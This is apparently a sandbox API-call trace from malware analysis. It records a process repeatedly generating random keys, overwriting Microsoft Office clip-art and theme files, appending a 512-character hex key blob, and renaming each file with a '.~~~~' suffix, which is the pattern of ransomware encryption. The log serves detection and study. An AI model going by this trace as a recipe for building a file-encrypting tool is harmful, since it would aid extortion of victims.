	[0121.193] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.193] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.193] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.193] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.194] CloseHandle (hObject=0x140) returned 1
	[0121.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f7218
	[0121.194] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00703l.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00703l.gif.~~~~")) returned 1
	[0121.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f7218 | out: hHeap=0x300000) returned 1
	[0121.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0121.195] GetLastError () returned 0x0
	[0121.244] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0121.246] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.246] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.246] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0121.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0121.246] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24123611777) returned 1
	[0121.246] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb1bcc310, dwHighDateTime=0x1d60e1e)) 
	[0121.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0121.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0121.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0121.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281dff0
	[0121.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281dff0 | out: hHeap=0x300000) returned 1
	[0121.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0121.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.247] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0121.247] GetLastError () returned 0x0
	[0121.247] GetLastError () returned 0x0
	[0121.247] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0121.247] GetLastError () returned 0x0
	[0121.248] GetLastError () returned 0x0
	[0121.287] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffc74, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.288] WriteFile (in: hFile=0x140, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x38c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x38c, lpOverlapped=0x0) returned 1
	[0121.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0121.290] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.290] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.290] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.290] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.291] CloseHandle (hObject=0x140) returned 1
	[0121.291] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6978
	[0121.291] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02039_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02039_.gif.~~~~")) returned 1
	[0121.292] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6978 | out: hHeap=0x300000) returned 1
	[0121.292] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0121.293] GetLastError () returned 0x0
	[0121.293] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0121.294] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.294] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.294] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0121.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0121.295] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24128469459) returned 1
	[0121.295] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb1c3e730, dwHighDateTime=0x1d60e1e)) 
	[0121.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0121.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0121.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0121.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e098
	[0121.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.295] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e098 | out: hHeap=0x300000) returned 1
	[0121.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.295] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.295] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0121.295] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.295] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0121.296] GetLastError () returned 0x0
	[0121.296] GetLastError () returned 0x0
	[0121.296] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0121.296] GetLastError () returned 0x0
	[0121.296] GetLastError () returned 0x0
	[0121.379] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffa7f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.383] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x581, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x581, lpOverlapped=0x0) returned 1
	[0121.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0121.384] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.384] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.384] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.384] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.384] CloseHandle (hObject=0x140) returned 1
	[0121.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6ae8
	[0121.436] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02097_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02097_.gif.~~~~")) returned 1
	[0121.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6ae8 | out: hHeap=0x300000) returned 1
	[0121.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0121.529] GetLastError () returned 0x0
	[0121.610] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0121.639] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.639] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0121.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0121.640] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24163018198) returned 1
	[0121.640] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb1f84570, dwHighDateTime=0x1d60e1e)) 
	[0121.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0121.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0121.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0121.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e450
	[0121.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e450 | out: hHeap=0x300000) returned 1
	[0121.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2030
	[0121.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.641] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0121.641] GetLastError () returned 0x0
	[0121.642] GetLastError () returned 0x0
	[0121.642] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0121.642] GetLastError () returned 0x0
	[0121.642] GetLastError () returned 0x0
	[0121.645] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffe89c5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.645] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1763b, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x1763b, lpOverlapped=0x0) returned 1
	[0121.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0121.646] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.646] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.646] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.646] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.647] CloseHandle (hObject=0x13c) returned 1
	[0121.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0121.647] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\austin.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\austin.thmx.~~~~")) returned 1
	[0121.648] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.648] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0121.648] GetLastError () returned 0x0
	[0121.649] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0121.650] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0121.650] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0121.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0121.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0121.650] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24164039144) returned 1
	[0121.650] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb1faa6d0, dwHighDateTime=0x1d60e1e)) 
	[0121.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0121.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0121.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0121.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e4c0
	[0121.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0121.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e4c0 | out: hHeap=0x300000) returned 1
	[0121.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0121.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1ad8
	[0121.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.651] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0121.651] GetLastError () returned 0x0
	[0121.651] GetLastError () returned 0x0
	[0121.652] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0121.652] GetLastError () returned 0x0
	[0121.652] GetLastError () returned 0x0
	[0121.654] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff3d88, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.654] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xc278, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0xc278, lpOverlapped=0x0) returned 1
	[0121.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0121.656] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.656] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.656] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.656] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.656] CloseHandle (hObject=0x13c) returned 1
	[0121.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0121.656] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\essential.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\essential.thmx.~~~~")) returned 1
	[0121.659] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.659] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0121.659] GetLastError () returned 0x0
	[0121.660] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0121.661] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0121.661] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0121.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0121.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0121.661] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24165119847) returned 1
	[0121.661] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb1fd0830, dwHighDateTime=0x1d60e1e)) 
	[0121.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0121.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0121.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0121.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e4f8
	[0121.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e4f8 | out: hHeap=0x300000) returned 1
	[0121.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2328
	[0121.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.662] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0121.662] GetLastError () returned 0x0
	[0121.662] GetLastError () returned 0x0
	[0121.662] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0121.662] GetLastError () returned 0x0
	[0121.662] GetLastError () returned 0x0
	[0121.665] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff28b8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
